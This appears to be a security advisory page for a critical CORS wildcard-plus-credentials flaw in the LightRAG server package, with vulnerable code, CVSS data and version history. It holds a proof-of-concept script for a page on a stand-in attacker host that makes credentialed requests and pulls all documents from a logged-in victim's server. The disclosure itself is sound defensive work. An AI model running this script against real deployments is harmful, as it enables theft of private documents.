Critical

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

  • Disclosed: 20.07.2026
  • Updated: 11.10.2026 14:18

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

python
# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

html
<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) lightrag-hku < 1.5.4 1.5.4

References

CVSS score 9.3/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Weakness (CWE)
CWE-942
Platform
Python (PyPI)
Package
lightrag-hku
Disclosed
20.07.2026
Updated
11.10.2026 14:18

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-3474 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-6x6h-qqr7-855w - CC BY 4.0

Vulnerability history: lightrag-hku

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (10) in the archive
Total entries
10
First → latest
06.2025 09.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 3
  • High 2
  • Medium 5

Disclosures per year

  1. 2025: 1
  2. 2026: 9
Severity:
  1. LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests this entry
    Critical · 9.3 CVE-2026-61736 < 1.5.4 1.5.4
  2. High · 7.5 CVE-2026-30762 < 1.4.13 1.4.13

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.